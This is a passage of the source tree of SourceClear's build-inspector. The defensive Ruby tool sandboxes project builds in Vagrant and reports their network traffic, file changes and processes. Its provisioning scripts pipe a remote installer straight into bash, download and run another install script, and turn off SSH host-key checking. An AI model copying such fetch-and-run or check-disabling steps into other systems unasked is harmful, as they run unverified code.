124 | perl = lines[idx + 1, 28] * ''
125 | digest = sha256.hexdigest(perl)
126 | next unless digest == 'ac8bf43d69665fecf43f2bcd0db25dc0543dd198645820c6488eeb48ea394631'
127 | lines.slice!(idx, 29)
128 | end
129 |
130 | lines
131 | end
132 |
133 | def get_connections
134 | pcap_file = File.join(@evidence_path, BuildInspector::PCAP_FILE)
135 | packet_inspector = PacketInspector.new(pcap_file)
136 | outgoing_packets = packet_inspector.packets_from(@vagrant_ip)
137 |
138 | ips_sizes = outgoing_packets.each_with_object(Hash.new(0)) do |packet, memo|
139 | memo[packet.ip_dst_readable] += packet.size
140 | end
141 |
142 | dns_responses = packet_inspector.dns_responses
143 | address_to_name = dns_responses.each_with_object({}) do |name_addresses, memo|
144 | name = name_addresses.first
145 | addresses = name_addresses.last
146 | addresses.each { |address| memo[address.to_s] = name }
147 | end
148 |
149 | # Whitelist the DNS' IP also; don't want it showing up
150 | dns_server = Resolv::DNS::Config.default_config_hash[:nameserver]
151 | whitelist = @host_whitelist
152 | whitelist += dns_server if dns_server
153 |
154 | ips_sizes.map { |ip, size| [address_to_name.fetch(ip, ip), ip, size] }
155 | .find_all { |hostname, ip, size| !(whitelist.include?(hostname) || whitelist.include?(ip)) }
156 | end
157 |
158 | def get_insecure_connections
159 | pcap_file = File.join(@evidence_path, BuildInspector::PCAP_FILE)
160 | packet_inspector = PacketInspector.new(pcap_file)
161 | hosts_contacted_via_http = {}
162 |
163 | dns_responses = packet_inspector.dns_responses
164 | address_to_name = dns_responses.each_with_object({}) do |name_addresses, memo|
165 | name = name_addresses.first
166 | addresses = name_addresses.last
167 | addresses.each { |address| memo[address.to_s] = name }
168 | end
169 |
170 | packet_inspector.http_requests.each do |request, path|
171 | if address_to_name.key?(request)
172 | (hosts_contacted_via_http[address_to_name[request]] ||= []) << (path if !hosts_contacted_via_http[address_to_name[request]].include?(path))
173 | else
174 | (hosts_contacted_via_http[request] ||= []) << (path if !hosts_contacted_via_http[address_to_name[request]].include?(path))
175 | end
176 | end
177 |
178 | hosts_contacted_via_http.map { |host, address|
179 | [host, address.compact]
180 | }
181 | end
182 |
183 | def get_filesystem_changes
184 | changes_file = File.join(@evidence_path, BuildInspector::FILESYSTEM_CHANGES_FILE)
185 | lines = IO.readlines(changes_file)
186 |
187 | # These lines are just noise.
188 | lines - [
189 | "changed: home/vagrant\n",
190 | "No changes found. Directory matches archive data.\n",
191 | ]
192 | end
193 |
194 | def get_running_processes
195 | procs_before_file = File.join(@evidence_path, BuildInspector::PROCESSES_BEFORE_FILE)
196 | procs_after_file = File.join(@evidence_path, BuildInspector::PROCESSES_AFTER_FILE)
197 |
198 | procs_before = File.readlines(procs_before_file)
199 | procs_after = File.readlines(procs_after_file)
200 |
201 | procs_after - procs_before
202 | end
203 |
204 | private
205 |
206 | def print_processes
207 | lines = get_processes
208 |
209 | filtered_path = File.join(@evidence_path, "filtered-commands.txt")
210 | File.open(filtered_path, 'w') do |f|
211 | lines.each { |l| f.write(l) }
212 | end
213 |
214 | puts Printer.yellowify('Filtered commands executed:')
215 | lines.each { |line| puts " #{line}"}
216 | end
217 |
218 | def print_connections
219 | connections = get_connections
220 | return if connections.empty?
221 |
222 | puts Printer.yellowify('Hosts contacted:')
223 | connections.each do |hostname, ip, size|
224 | name_ip = "#{hostname} (#{ip})".ljust(60)
225 | puts " #{name_ip} #{prettify(size).rjust(10)}"
226 | end
227 | end
228 |
229 | def print_insecure_connections
230 | insecure_connections = get_insecure_connections
231 | return if insecure_connections.empty?
232 |
233 | puts Printer.yellowify('Insecure Connections Made:')
234 | insecure_connections.each do |hostname, address|
235 | addresses = address.reject(&:empty?).join("\n ")
236 | hostname_address = "#{hostname}\n #{addresses}".ljust(60)
237 | puts " #{hostname_address}"
238 | end
239 | end
240 |
241 | def prettify(size)
242 | return size.to_s + 'B' if size < 1000
243 | (size / KILOBYTE).round(1).to_s + 'K'
244 | end
245 |
246 | def print_filesystem_changes
247 | lines = get_filesystem_changes
248 | return if lines.empty?
249 |
250 | puts Printer.yellowify('File system changes:')
251 | lines.each { |line| puts line }
252 | end
253 |
254 | def print_running_processes
255 | running_procs = get_running_processes
256 | return if running_procs.empty?
257 |
258 | puts Printer.yellowify('New processes running after the build:')
259 | running_procs.flatten.each { |proc| puts " - #{proc}" }
260 | end
261 | end
262 |
--------------------------------------------------------------------------------
/lib/packet_inspector.rb:
--------------------------------------------------------------------------------
1 | =begin
2 | Copyright 2016 SourceClear Inc
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreed to in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | =end
16 |
17 | require 'packetfu'
18 | require 'resolv'
19 | require 'webrick'
20 |
21 | class PacketInspector
22 | include PacketFu
23 |
24 | DNS_PORT = 53
25 | HTTP_PORT = 80
26 | HTTPS_PORT = 443
27 |
28 | def initialize(pcap_file)
29 | @packets = PcapFile.read_packets(pcap_file)
30 | @req = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP)
31 | end
32 |
33 | def packets_from(src_ip)
34 | @packets.find_all do |packet|
35 | packet.respond_to?(:ip_src_readable) && packet.ip_src_readable == src_ip
36 | end
37 | end
38 |
39 | def udp_packets_with_dst_port(port)
40 | @packets.find_all do |packet|
41 | packet.respond_to?(:udp_dst) && packet.udp_dst == port
42 | end
43 | end
44 |
45 | def tcp_packets_with_dst_port(port)
46 | @packets.find_all do |packet|
47 | packet.respond_to?(:tcp_dst) && packet.tcp_dst == port
48 | end
49 | end
50 |
51 | def udp_packets_with_src_port(port)
52 | @packets.find_all do |packet|
53 | packet.respond_to?(:udp_src) && packet.udp_src == port
54 | end
55 | end
56 |
57 | def tcp_packets_with_src_port(port)
58 | @packets.find_all do |packet|
59 | packet.respond_to?(:tcp_src) && packet.tcp_src == port
60 | end
61 | end
62 |
63 | def http_requests
64 | tcp_packets_with_dst_port(HTTP_PORT).map { |packet|
65 | if packet.tcp_header.body != ''
66 | path = ''
67 | begin
68 | @req.parse(StringIO.new(packet.tcp_header.body))
69 | path = @req.path
70 | rescue
71 | end
72 | [packet.ip_daddr, path]
73 | else
74 | [packet.ip_daddr, '']
75 | end
76 | }
77 | end
78 |
79 | def http_responses
80 | tcp_packets_with_src_port(HTTP_PORT).map { |packet| packet.ip_saddr }
81 | end
82 |
83 | def dns_requests
84 | decoded_requests = udp_packets_with_dst_port(DNS_PORT).map { |p| Resolv::DNS::Message.decode(p.payload) }
85 |
86 | decoded_requests.each_with_object({}) do |request, memo|
87 | name = request.question.first.first.to_s
88 | memo[name] ||= []
89 | end
90 | end
91 |
92 | # returns a mapping of names to its ip addresses
93 | def dns_responses
94 | decoded_responses = udp_packets_with_src_port(DNS_PORT).map { |p| Resolv::DNS::Message.decode(p.payload) }
95 |
96 | decoded_responses.each_with_object({}) do |response, memo|
97 | name = response.question.first.first.to_s
98 | memo[name] ||= []
99 | response.answer.each do |ans|
100 | case ans.last
101 | when Resolv::DNS::Resource::IN::CNAME
102 | memo[name] << ans.last.name
103 | when Resolv::DNS::Resource::IN::AAAA, Resolv::DNS::Resource::IN::A
104 | memo[name] << ans.last.address
105 | else
106 | puts ans.last
107 | end
108 | end
109 | end
110 | end
111 | end
112 |
--------------------------------------------------------------------------------
/lib/printer.rb:
--------------------------------------------------------------------------------
1 | =begin
2 | Copyright 2016 SourceClear Inc
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreed to in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | =end
16 |
17 | require 'open3'
18 | require 'rainbow'
19 |
20 | module Printer
21 | # Because "puts `cmd`" doesn't stream the output as it appears
22 | def self.exec_puts(command)
23 | Open3.popen3(command) do |stdin, stdout, stderr, thread|
24 | # read each stream from a new thread
25 | { out: stdout, err: stderr }.each do |type, stream|
26 | Thread.new do
27 | until (line = stream.gets).nil? do
28 | case type
29 | when :out
30 | puts "==> inspector: #{line}"
31 | when :err
32 | print "==> inspector: #{Rainbow(line).red}"
33 | end
34 | end
35 | end
36 | end
37 | thread.join
38 | end
39 | end
40 |
41 | def self.yellowify(text)
42 | Rainbow(text).yellow.bright
43 | end
44 |
45 | def self.yell(text)
46 | "echo #{yellowify(text)}"
47 | end
48 | end
49 |
--------------------------------------------------------------------------------
/lib/report_builder.rb:
--------------------------------------------------------------------------------
1 | =begin
2 | Copyright 2016 SourceClear Inc
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreed to in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | =end
16 |
17 | require 'erb'
18 | require 'json'
19 | require_relative 'build_inspector'
20 |
21 | class ReportBuilder
22 | def self.build(output_file, repo_path, repo_name, options, config, processor, start_time, end_time)
23 | title = "Build Inspector Report - #{repo_name}"
24 |
25 | options_json = JSON.pretty_generate(options)
26 | config_json = JSON.pretty_generate(config.config)
27 |
28 | file_changes = processor.get_filesystem_changes * "\n"
29 | network_activity = processor.get_connections * "\n"
30 | insecure_network_activity = processor.get_insecure_connections * "\n"
31 | running_processes = processor.get_running_processes * "\n"
32 | executed_commands = processor.get_processes * "\n"
33 | all_commands = processor.get_unfiltered_processes * "\n"
34 |
35 | template = IO.read("#{File.dirname(__FILE__)}/report_template.html.erb")
36 | renderer = ERB.new(template)
37 | output = renderer.result(binding)
38 | File.open(output_file, 'w') { |f| f.write(output) }
39 | end
40 | end
41 |
--------------------------------------------------------------------------------
/lib/report_template.html.erb:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | <%= title %>
6 |
7 |
127 |
128 |
129 |
130 |
131 | <%= title %>
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 | Overview
150 |
151 | Repository name: <%= repo_name %>
152 | Repository path: <%= repo_path %>
153 | Build started: <%= start_time %>
154 | Build finished: <%= end_time %>
155 |
156 | Report Suspicious Build
157 |
158 | If this build appears suspicious or you think it may be malicious, please report it here: Submit Suspicious Build
159 |
160 | Options
161 |
162 |
163 | <%= options_json %>
164 |
165 |
166 | Configuration
167 |
168 |
169 | <%= config_json %>
170 |
171 |
172 |
173 |
174 |
175 | File Changes
176 |
177 |
178 | <%= file_changes %>
179 |
180 |
181 |
182 |
183 |
184 | DNS Activity
185 |
186 |
187 | <%= network_activity %>
188 |
189 |
190 |
191 | Insecure Network Activity
192 |
193 |
194 | <%= insecure_network_activity %>
195 |
196 |
197 |
198 |
199 |
200 | Running Processes
201 |
202 |
203 | <%= running_processes %>
204 |
205 |
206 |
207 |
208 |
209 | Filtered Commands
210 |
211 |
212 | <%= executed_commands %>
213 |
214 |
215 |
216 | All Commands
217 |
218 |
219 | <%= all_commands %>
220 |
221 |
222 |
223 |
224 |
225 |
232 |
233 |
234 |
--------------------------------------------------------------------------------
/lib/scripts/build_inspector_script.rb:
--------------------------------------------------------------------------------
1 | =begin
2 | Copyright 2016 SourceClear Inc
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreed to in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | =end
16 |
17 | class BuildInspectorScript
18 |
19 | def initialize(evidence_path:, package_manager:, host_whitelist:)
20 | @evidence_path = evidence_path
21 | @package_manager = package_manager || ''
22 | @host_whitelist = host_whitelist
23 | @file_to_analyze = analysis_file_name
24 | @results = load_results
25 | end
26 |
27 | def run
28 | end
29 |
30 | def version
31 | '0'
32 | end
33 |
34 |
35 | private
36 |
37 | def add_results(results)
38 | positive = (results and !results.empty?)
39 | payload = {'script': script_name,
40 | 'version': version,
41 | 'package_manager': @package_manager,
42 | 'file_analyzed': @file_to_analyze,
43 | 'results': results,
44 | 'positive': positive}
45 | @results[@evidence_path] = payload
46 | end
47 |
48 | def load_results
49 | {}
50 | end
51 |
52 | def save_results
53 | end
54 |
55 | def script_name
56 | self.class.name
57 | end
58 |
59 | def analysis_file_name
60 | ''
61 | end
62 |
63 | def self.template_file_name
64 | 'build_inspector_template.html.erb'
65 | end
66 |
67 | def self.results_file_name
68 | 'build_inspector_results.json'
69 | end
70 |
71 | end
--------------------------------------------------------------------------------
/lib/scripts/insecure_network_finder.rb:
--------------------------------------------------------------------------------
1 | =begin
2 | Copyright 2016 SourceClear Inc
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreed to in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | =end
16 |
17 | require 'json'
18 | require_relative 'build_inspector_script'
19 | require_relative '../packet_inspector'
20 |
21 | class InsecureNetworkFinder < BuildInspectorScript
22 |
23 | def run
24 | pcap_file = File.join(@evidence_path, @file_to_analyze)
25 | packet_inspector = PacketInspector.new(pcap_file)
26 | hosts_contacted_via_http = {}
27 |
28 | dns_responses = packet_inspector.dns_responses
29 | address_to_name = dns_responses.each_with_object({}) do |name_addresses, memo|
30 | name = name_addresses.first
31 | addresses = name_addresses.last
32 | addresses.each { |address| memo[address.to_s] = name }
33 | end
34 |
35 | packet_inspector.http_requests.each do |request, path|
36 | if address_to_name.key?(request)
37 | (hosts_contacted_via_http[address_to_name[request]] ||= []) << (path if !hosts_contacted_via_http[address_to_name[request]].include?(path))
38 | else
39 | (hosts_contacted_via_http[request] ||= []) << (path if !hosts_contacted_via_http[address_to_name[request]].include?(path))
40 | end
41 | end
42 |
43 | hosts_contacted_via_http.each do |host, addresses|
44 | hosts_contacted_via_http[host] = addresses.compact
45 | end
46 |
47 | add_results(hosts_contacted_via_http)
48 | save_results
49 | !hosts_contacted_via_http.empty?
50 | end
51 |
52 |
53 | def version
54 | '1'
55 | end
56 |
57 | private
58 |
59 | def load_results
60 | if File.file?(InsecureNetworkFinder::results_file_name) and !File.zero?(InsecureNetworkFinder::results_file_name)
61 | File.open(InsecureNetworkFinder::results_file_name, 'r') do |f|
62 | @results = JSON.load(f)
63 | end
64 | else
65 | @results = {}
66 | end
67 | end
68 |
69 | def save_results
70 | File.open(InsecureNetworkFinder::results_file_name, 'w+') do |f|
71 | f.write(JSON.pretty_generate(@results))
72 | end
73 | end
74 |
75 | def analysis_file_name
76 | 'traffic.pcap'
77 | end
78 |
79 | def self.template_file_name
80 | 'insecure_network_finder_template.html.erb'
81 | end
82 |
83 | def self.results_file_name
84 | 'insecure_network_finder_results.json'
85 | end
86 |
87 | end
88 |
89 |
--------------------------------------------------------------------------------
/lib/scripts/network_activity_finder.rb:
--------------------------------------------------------------------------------
1 | =begin
2 | Copyright 2016 SourceClear Inc
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreed to in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | =end
16 |
17 | require 'json'
18 | require_relative 'build_inspector_script'
19 | require_relative '../packet_inspector'
20 |
21 | class NetworkActivityFinder < BuildInspectorScript
22 |
23 | def run
24 | pcap_file = File.join(@evidence_path, @file_to_analyze)
25 | packet_inspector = PacketInspector.new(pcap_file)
26 |
27 | # Whitelist the DNS' IP also; don't want it showing up
28 | dns_server = Resolv::DNS::Config.default_config_hash[:nameserver]
29 | whitelist = @host_whitelist
30 | whitelist += dns_server if dns_server
31 |
32 | dns_responses = packet_inspector.dns_responses
33 | address_to_name = dns_responses.each_with_object({}) do |name_addresses, memo|
34 | if !whitelist.include?(name_addresses.first)
35 | name = name_addresses.first
36 | addresses = name_addresses.last
37 | addresses.each { |address| memo[address.to_s] = name if !whitelist.include?(address.to_s) }
38 | end
39 | end
40 |
41 | add_results(address_to_name)
42 | save_results
43 | address_to_name and !address_to_name.empty?
44 | end
45 |
46 |
47 | def version
48 | '1'
49 | end
50 |
51 | private
52 |
53 | def load_results
54 | if File.file?(NetworkActivityFinder::results_file_name) and !File.zero?(NetworkActivityFinder::results_file_name)
55 | File.open(NetworkActivityFinder::results_file_name, 'r') do |f|
56 | @results = JSON.load(f)
57 | end
58 | else
59 | @results = {}
60 | end
61 | end
62 |
63 | def save_results
64 | File.open(NetworkActivityFinder::results_file_name, 'w+') do |f|
65 | f.write(JSON.pretty_generate(@results))
66 | end
67 | end
68 |
69 | def analysis_file_name
70 | 'traffic.pcap'
71 | end
72 |
73 | def self.template_file_name
74 | 'network_activity_finder_template.html.erb'
75 | end
76 |
77 | def self.results_file_name
78 | 'network_activity_finder_results.json'
79 | end
80 |
81 | end
82 |
83 |
--------------------------------------------------------------------------------
/lib/vagrant_whisperer.rb:
--------------------------------------------------------------------------------
1 | =begin
2 | Copyright 2016 SourceClear Inc
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreed to in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | =end
16 |
17 | require_relative 'printer'
18 |
19 | class VagrantWhisperer
20 | TMP_PATH = '/tmp'.freeze
21 | TMP_CMDS = "#{TMP_PATH}/vagrantCommands.sh".freeze
22 |
23 | def initialize(verbose: false)
24 | @verbose = verbose
25 | @ssh_opts = parse_ssh_config(`vagrant ssh-config`)
26 | end
27 |
28 | def run(message: nil, stream: false)
29 | return unless block_given?
30 | puts Printer.yellowify(message) if message
31 | commands = []
32 | yield commands
33 |
34 | tf = Tempfile.new('inspector-commands')
35 | tf.write("#!/bin/bash\n")
36 | commands.each { |cmd| tf.write("#{cmd}\n") }
37 | tf.write("rm #{TMP_CMDS}")
38 | tf.rewind
39 |
40 | send_file(tf.path, TMP_CMDS)
41 | tf.close
42 | tf.unlink
43 |
44 | ssh_exec("bash -l #{TMP_CMDS}", stream: stream)
45 | end
46 |
47 | def up
48 | Printer.exec_puts 'vagrant up'
49 | end
50 |
51 | def snapshot
52 | Printer.exec_puts 'vagrant sandbox on'
53 | end
54 |
55 | def rollback
56 | puts Printer.yellowify('Rolling back virtual machine state ...')
57 | Printer.exec_puts 'vagrant sandbox rollback'
58 | ensure_ready
59 | end
60 |
61 | def ensure_ready
62 | attempts = 0
63 | while ssh_exec('echo ready', stream: true).strip != 'ready' do
64 | attempts += 1
65 | if attempts < 5 and attempts >= 0
66 | puts "VM is not yet ready; waiting..."
67 | sleep(120)
68 | else
69 | puts "VM failed. Exiting"
70 | exit
71 | end
72 | end
73 | end
74 |
75 | def send_file(local_path, remote_path)
76 | scp_cmd = File.directory?(local_path) ? 'scp -r' : 'scp'
77 | cmd = "#{scp_cmd} #{ssh_opts_str} #{local_path} #{@ssh_opts['User']}@#{@ssh_opts['HostName']}:#{remote_path}"
78 | puts "#{cmd}" if @verbose
79 | `#{cmd}`
80 | end
81 |
82 | def get_file(remote_path, local_path = '.')
83 | scp_cmd = File.directory?(local_path) ? 'scp -r' : 'scp'
84 | cmd = "#{scp_cmd} #{ssh_opts_str} #{@ssh_opts['User']}@#{@ssh_opts['HostName']}:#{remote_path} #{local_path}"
85 | puts "#{cmd}" if @verbose
86 | `#{cmd}`
87 | end
88 |
89 | def ip_address
90 | cmd = "ip address show eth0 | grep 'inet ' | sed -e 's/^.*inet //' -e 's/\\/.*$//'"
91 | @ip_address ||= run(stream: true) { |c| c << cmd }.rstrip
92 | end
93 |
94 | def home
95 | @home ||= run(stream: true) { |c| c << 'echo $HOME' }.rstrip
96 | end
97 |
98 | private
99 |
100 | def ssh_exec(command, stream: false)
101 | full_cmd = "ssh #{ssh_args} \"#{command}\""
102 | puts full_cmd if @verbose
103 | if stream
104 | $stdout.sync = true
105 | IO.popen(full_cmd).read
106 | else
107 | Printer.exec_puts(full_cmd)
108 | end
109 | end
110 |
111 | def ssh_args
112 | "#{ssh_opts_str} -t #{@ssh_opts['User']}@#{@ssh_opts['HostName']}"
113 | end
114 |
115 | def ssh_opts_str
116 | @ssh_opts.map { |k, v| "-o #{k}=#{v}" } * ' '
117 | end
118 |
119 | def parse_ssh_config(config)
120 | ssh_opts = {}
121 | config.lines.map(&:strip).each do |e|
122 | next if e.empty?
123 | k, v = e.split(/\s+/, 2)
124 | ssh_opts[k] = v
125 | end
126 |
127 | # Silence ssh logging
128 | ssh_opts['LogLevel'] = 'QUIET'
129 |
130 | # Multiplex for faster ssh connections
131 | ssh_opts['ControlPath'] = '~/.ssh/%r@%h:%p'
132 | ssh_opts['ControlMaster'] = 'auto'
133 | ssh_opts['ControlPersist'] = '10m'
134 |
135 | # Remove Host directive as it doesn't work on some systems
136 | ssh_opts.tap { |opts| opts.delete('Host') }
137 | end
138 | end
139 |
--------------------------------------------------------------------------------
/provisioning/bootstrap.sh:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/srcclr/build-inspector/8558d6128fee3533745e9e0a95867d1ce9e7be57/provisioning/bootstrap.sh
--------------------------------------------------------------------------------
/provisioning/filesystem-snapshot.txt:
--------------------------------------------------------------------------------
1 | - /backup
2 | - /dev
3 | - /evidence
4 | - /home/vagrant/.gradle
5 | - /home/vagrant/repo
6 | - /lost+found
7 | - /media
8 | - /mnt
9 | - /proc
10 | - /run
11 | - /sys
12 | - /tmp
13 | - /vagrant
14 | - /var/lock
15 | - /var/log
16 | - /var/run
17 | - /var/tmp
18 | /
19 |
--------------------------------------------------------------------------------
/provisioning/ntp.conf:
--------------------------------------------------------------------------------
1 | # /etc/ntp.conf, configuration for ntpd; see ntp.conf(5) for help
2 |
3 | driftfile /var/lib/ntp/ntp.drift
4 |
5 |
6 | # Enable this if you want statistics to be logged.
7 | #statsdir /var/log/ntpstats/
8 |
9 | statistics loopstats peerstats clockstats
10 | filegen loopstats file loopstats type day enable
11 | filegen peerstats file peerstats type day enable
12 | filegen clockstats file clockstats type day enable
13 |
14 | # Specify one or more NTP servers.
15 |
16 | # Use 0.ubuntu.pool.ntp.org's ip address
17 | server 128.199.91.7
18 |
19 | # Access control configuration; see /usr/share/doc/ntp-doc/html/accopt.html for
20 | # details. The web page
21 | # might also be helpful.
22 | #
23 | # Note that "restrict" applies to both servers and clients, so a configuration
24 | # that might be intended to block requests from certain clients could also end
25 | # up blocking replies from your own upstream servers.
26 |
27 | # By default, exchange time with everybody, but don't allow configuration.
28 | restrict -4 default kod notrap nomodify nopeer noquery
29 | restrict -6 default kod notrap nomodify nopeer noquery
30 |
31 | # Local users may interrogate the ntp server more closely.
32 | restrict 127.0.0.1
33 | restrict ::1
34 |
35 | # Clients from this (example!) subnet have unlimited access, but only if
36 | # cryptographically authenticated.
37 | #restrict 192.168.123.0 mask 255.255.255.0 notrust
38 |
39 |
40 | # If you want to provide time to your local subnet, change the next line.
41 | # (Again, the address is an example only.)
42 | #broadcast 192.168.123.255
43 |
44 | # If you want to listen to time broadcasts on your local subnet, de-comment the
45 | # next lines. Please do this only if you trust everybody on the network!
46 | #disable auth
47 | #broadcastclient
48 |
--------------------------------------------------------------------------------
/provisioning/pre-package-bootstrap.sh:
--------------------------------------------------------------------------------
1 | if grep 'vagrant' /etc/passwd
2 | then
3 | user_home=/home/vagrant
4 | else
5 | user_home=$HOME
6 | fi
7 |
8 | mv $user_home/sources.list /etc/apt/sources.list
9 | mv $user_home/sshd /etc/pam.d/sshd
10 |
11 | #echo GEM_HOME="$user_home/.gem" >> /etc/environment
12 | #echo PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games" >> /etc/environment
13 |
14 | echo "Stopping Puppet and Chef"
15 | service puppet stop
16 | service chef-client stop
17 |
18 | echo "Adding APT repositories"
19 | add-apt-repository -y ppa:chris-lea/node.js
20 |
21 | # For Gradle 2.x
22 | add-apt-repository ppa:cwchien/gradle
23 |
24 | # For openjdk-8-jdk
25 | add-apt-repository ppa:openjdk-r/ppa
26 |
27 | echo "Updating APT package list"
28 | apt-get update
29 |
30 | echo "Installing dependencies"
31 | apt-get install -y build-essential git-core zlib1g-dev libssl-dev \
32 | libreadline-dev libyaml-dev subversion maven gradle-3.5.1 nodejs rdiff-backup \
33 | zip libsqlite3-dev sqlite3 libxml2-dev libxslt1-dev \
34 | libcurl4-openssl-dev libffi-dev openjdk-8-jdk
35 |
36 | # Set Java 8 as default
37 | update-alternatives --set java /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java
38 |
39 | echo "Installing Snoopy"
40 | wget -O snoopy-install.sh https://github.com/a2o/snoopy/raw/install/doc/install/bin/snoopy-install.sh
41 | chmod +x snoopy-install.sh
42 | ./snoopy-install.sh stable
43 | echo 'output = file:/var/log/snoopy.log' >> /etc/snoopy.ini
44 | rm -rf snoopy-*
45 |
46 | # Log file must be fairly writable or you'll only get root processes
47 | touch /var/log/snoopy.log
48 | chmod 0666 /var/log/snoopy.log
49 |
--------------------------------------------------------------------------------
/provisioning/pre-package-bootstrap2.sh:
--------------------------------------------------------------------------------
1 | set -e
2 | # This runs as vagrant user, not root!
3 |
4 | echo "tmp = $HOME/.npm" >> ~/.npmrc
5 |
6 | echo -e "Host github.com\n\tStrictHostKeyChecking no\n" >> ~/.ssh/config
7 |
8 | # Need to import this public key for RVM
9 | gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
10 |
11 | # Sometimes the gpg command fails. Try it another way.
12 | curl -#LO https://rvm.io/mpapis.asc && gpg --import mpapis.asc && rm mpapis.asc
13 |
14 | curl -sSL https://get.rvm.io | bash -s $1
15 | echo rvm_install_on_use_flag=1 >> /home/vagrant/.rvmrc
16 | source $HOME/.rvm/scripts/rvm
17 | rvm --install --default use 2.2.3
18 | gem install bundler
19 |
--------------------------------------------------------------------------------
/provisioning/pre-package-bootstrap3.sh:
--------------------------------------------------------------------------------
1 | set -e
2 |
3 | mkdir -p /evidence
4 | if grep 'vagrant' /etc/passwd
5 | then
6 | chown vagrant:vagrant /evidence
7 | user_home=/home/vagrant
8 | else
9 | user_home=$HOME
10 | fi
11 |
12 | # Generate a snapshot now so it's easier to snapshot before an inspection
13 | mkdir -p /backup
14 | rdiff-backup --include-filelist $user_home/filesystem-snapshot.txt / /backup
15 | chown -R vagrant:vagrant /backup
16 |
17 | echo 'All set, rock on!'
18 |
--------------------------------------------------------------------------------
/provisioning/sources.list:
--------------------------------------------------------------------------------
1 | deb http://mirrors.digitalocean.com/ubuntu trusty main restricted universe multiverse
2 | deb http://mirrors.digitalocean.com/ubuntu trusty-updates main restricted universe multiverse
3 | deb http://mirrors.digitalocean.com/ubuntu trusty-backports main restricted universe multiverse
4 | deb http://mirrors.digitalocean.com/ubuntu trusty-security main restricted universe multiverse
5 |
6 |
--------------------------------------------------------------------------------
/provisioning/sshd:
--------------------------------------------------------------------------------
1 | # PAM configuration for the Secure Shell service
2 |
3 | # Standard Un*x authentication.
4 | @include common-auth
5 |
6 | # Disallow non-root logins when /etc/nologin exists.
7 | account required pam_nologin.so
8 |
9 | # Uncomment and edit /etc/security/access.conf if you need to set complex
10 | # access limits that are hard to express in sshd_config.
11 | # account required pam_access.so
12 |
13 | # Standard Un*x authorization.
14 | @include common-account
15 |
16 | # SELinux needs to be the first session rule. This ensures that any
17 | # lingering context has been cleared. Without this it is possible that a
18 | # module could execute code in the wrong domain.
19 | session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so close
20 |
21 | # Set the loginuid process attribute.
22 | session required pam_loginuid.so
23 |
24 | # Create a new session keyring.
25 | session optional pam_keyinit.so force revoke
26 |
27 | # Standard Un*x session setup and teardown.
28 | @include common-session
29 |
30 | # Print the message of the day upon successful login.
31 | # This includes a dynamically generated part from /run/motd.dynamic
32 | # and a static (admin-editable) part from /etc/motd.
33 | #session optional pam_motd.so motd=/run/motd.dynamic noupdate
34 | #session optional pam_motd.so # [1]
35 |
36 | # Print the status of the user's mailbox upon successful login.
37 | session optional pam_mail.so standard noenv # [1]
38 |
39 | # Set up user limits from /etc/security/limits.conf.
40 | session required pam_limits.so
41 |
42 | # Read environment variables from /etc/environment and
43 | # /etc/security/pam_env.conf.
